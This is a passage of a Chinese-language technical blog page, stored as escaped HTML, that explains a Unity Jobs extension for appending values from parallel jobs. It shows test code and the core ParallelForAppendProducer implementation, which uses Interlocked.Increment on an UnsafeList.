class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAllocator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTempJob\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejob\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSchedule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eComplete\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e输出是 0,4,8,12,16,20,但顺序不固定。\u003c/p\u003e\n\u003ch2 id=\"核心代码\"\u003e核心代码\u003ca class=\"headerlink\" href=\"#核心代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eParallelForAppendProducer\u0026lt;TJob, TValue\u0026gt;.Execute\u003c/code\u003e 是核心的方法。在 Schedule 前分配好 \u003ccode\u003eNativeList\u0026lt;TValue\u0026gt;\u003c/code\u003e 的空间,每次有数据要 Append 时,用 \u003ccode\u003eInterlocked.Increment\u003c/code\u003e 增加 List 的元素数量,把值存进去就好。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eIJobParallelForAppendExtensions\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003einternal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[NativeDisableUnsafePtrRestriction]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003einternal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereadonly\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSharedStatic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSharedStatic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetOrCreate\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[BurstDiscard]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eInitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eZero\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCreateJobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eExecuteJobFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edelegate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecuteJobFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadditionalPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebufferRangePatchData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobRanges\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadditionalPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebufferRangePatchData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobRanges\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetWorkStealingRange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePatchBufferMinMaxRanges\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebufferRangePatchData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eendThatCompilerCanSeeWillNeverChange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebegin\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eendThatCompilerCanSeeWillNeverChange\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInterlocked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIncrement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003em_length\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003ePtr\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 